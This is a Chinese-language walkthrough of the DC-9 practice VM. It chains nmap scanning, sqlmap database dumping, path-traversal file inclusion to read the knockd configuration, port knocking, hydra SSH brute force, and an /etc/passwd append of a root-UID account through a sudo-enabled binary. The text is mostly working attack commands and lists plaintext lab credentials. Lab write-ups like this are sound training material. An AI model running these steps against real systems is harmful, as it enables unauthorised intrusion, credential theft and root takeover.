目标拿下靶机的最高权限 root。工具kaliBrup siute抓包难度中等注DC系类的靶机是针对于新手的所以并没有涉及到很多渗透知识掌握DC系类靶机只能说恭喜你已经不是小白了呢~已经掌握了外网初级渗透思路和渗透知识。一信息收集1.1利用nmap找到靶机的IP地址。# kali arp-scan -l由于作者虚拟机开的靶机非常的少所以可以直接得到靶机IP192.168.182.191 。实战过程中请以自己的靶机IP为准。1.2利用nmap得到详细服务信息。# kali nmap -sV 192.168.182.191我们后续需要从22端口进入但是从扫描结果看端口22SSH处于 filtered被过滤 状态这意味着防火墙或安全设备正在拦截对该端口的探测包导致Nmap无法确定其真实开放状态。要打开该端口需通过“端口敲门”机制触发核心是读取配置文件 /etc/knockd.conf 获取敲门序列。这个就是成为了我们的阶段主要目标读取文件 /etc/knockd.conf 。1.3查看web服务信息。直接利用靶机IP地址浏览器访问就可以了。我们可以看到一共就是两个功能点在:Search , Manage 。一个是查询另一个是登录的功能点。现在来分析一下查询这个功能点本身就是可以有一个SQL注入而登录框的漏洞基本上会有万能密码弱口令逻辑漏洞XSS漏洞等等依目标来看基本上都没有什么有价值的信息出来。所以我们就需要选择 brup suite来抓包查询功能点的数据包找到参数。二漏洞的利用2.1利用sqlmap泄露数据库。我们利用Brup suite获取了该路径下面的参数 search 。先利用sqlmap来测试是否具有SQL注入漏洞。# kali sqlmap -u http://192.168.182.191/results.php --datasearch1 --batch可以很清楚的看到利用攻击荷载爆出来了数据库版本这就说明了我们的目标对了。接下来就是知道用户密码和用户名字。# kali sqlmap -u http://192.168.182.191/results.php --datasearch1 --dbs --batch可以看到两个有效的库名Staff , users 接下来我们就需要分别查看这两个库下面的表。# kali sqlmap -u http://192.168.182.191/results.php --datasearch1 -D users -T UserDetails -C username,password --batch --dump在这里作者的猜想是SSH登录的用户名和密码后续也证明了作者是对的。# kali sqlmap -u http://192.168.182.191/results.php --datasearch1 -D Staff -T Users -C Username,Password --batch --dump这里有两份用户名和密码 想要web登录的话尝试完发现是用户名为:admin ,密码为哈希加密856f5de590ef37314e7c3bdf6f8a66dc对于这样简单的哈希加密都有很多线上解密的网站解密出来就是transorbital12.2利用文件包含漏洞直接利用账号和密码登录进来就会发现有一个提示文件不存在。根据提示在这里作者猜测是文件包含漏洞因为功能点实在是少。其实在这里需要一点知识累计才很快反应过来是文件包含漏洞作者在路径 /manage.php 路径下面的源代码发现了本应该被隐藏的源代码出错了导致出现了出来这里是一个我们登录进来的登录框提交表单也就是说文件包含漏洞很有可能是在文件 manage.php 引用文件导致的。利用先尝试参数 file 发现确实是这个参数如果不行的话可以尝试利用Brup suite 爆破出来参数。在这里需要利用路径穿透因为我们需要的文件是在服务器的根文件下面但是我们直接在URL的参数并不是在根文件下面执行通常是前面文件目录是/var/www/html 这也就导致我们需要进行路径穿透多写点 ../ 万一路径很长呢对吧(●◡●)还记得 1.2 我们的目标是什么嘛读取文件 /etc/knockd.conf 的内容我们接下里查看防火墙过滤规则。可以直接交给AI进行查看然后我们就会得知是需要在十五秒内进行连续访问7469,8475,9842 这三个端口这样22端口就会被打开来。2.3利用konck进行连续端口敲门。# kali knock 192.168.182.191 7469 8475 9842 nmap -sV 192.168.182.191 # 利用再次确认是否打开端口22三权限提升3.1利用hydra进行爆破ssh登录。之前数据库泄露出来的用户名和密码正好是ssh登录的密码和账户。因为只有这里有用户名和密码不妨尝试一下。将用户名和密码分别文件dc9_usernamedc9_password。# kali hydra -L dc9_username.txt -P dc9_password.txt ssh://192.168.182.191 -T 4 -V确实出来了[22][ssh] host: 192.168.182.191 login: chandlerb password: UrAG0D![22][ssh] host: 192.168.182.191 login: joeyt password: Passw0rd[22][ssh] host: 192.168.182.191 login: janitor password: Ilovepeepee虽然爆出来了三个账户但是有用的确是第三个因为作者真的没有找到有价值的文件信息并且不能查看其他用户文件所以才选择登录其他用户。可以看到有一份文件为普京的秘密这样就会又发现一个密码本似乎是过去的密码。由于没有用户名所以作者大概想的就是里面有其他用户的ssh密码。把下面的密码放进入dc9_password.txt密码本里面去再次执行hydra。# kali hydra -L dc9_username.txt -P dc9_password.txt ssh://192.168.182.191 -T 4 -V这样我们就又会得到了密码和账号[22][ssh] host: 192.168.182.191 login: fredf password: B4-Tru3-001登录进去之后就直接发现了一个该用户的特权执行文件。# kali sudo /opt/devstuff/dist/test/test当我们进行临时提权使用的时候会显示一个信息提示这个提示是说明我们的语法是错误的不是正确的用法。从提示 Usage: python test.py read append 可以推断出以下信息程序本质这是一个由 Python 脚本test.py编译或打包而成的可执行文件。参数逻辑它需要接收两个位置参数才能正常工作第一个参数 (read)代表“读取源”。程序会打开这个参数指定的文件并读取其中的内容。第二个参数 (append)代表“写入目标”。程序会将读取到的内容以追加的方式写入到这个参数指定的文件中。简单来说这个 Usage 提示就是在告诉你“我是一个有超级权限的搬运工你可以让我把任何文件的内容搬运到任何文件中而且我是以管理员身份在搬运。”# kali # 我们需要去建立一个超级用户 # 先确定加盐哈希值目的是为了跟/etc/passwd 格式一样。 openssl passwd -1 -salt hacker 123456 # 哈希值$1$hacker$6luIRwdGpBvXdP.GMwcZp/ # 将我们建立的用户放进临时文件中。 echo hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:hacker:/root:/bin/bash /tmp/hacker # 利用/opt/devstuff/dist/test/test文件功能追加文件。将临时文件追加进入/etc/passwd文件中 sudo /opt/devstuff/dist/test/test /tmp/hacker /etc/passwd # 直接切换我们建立的超级用户 su hacker这样我们就可以得到了最终的胜利。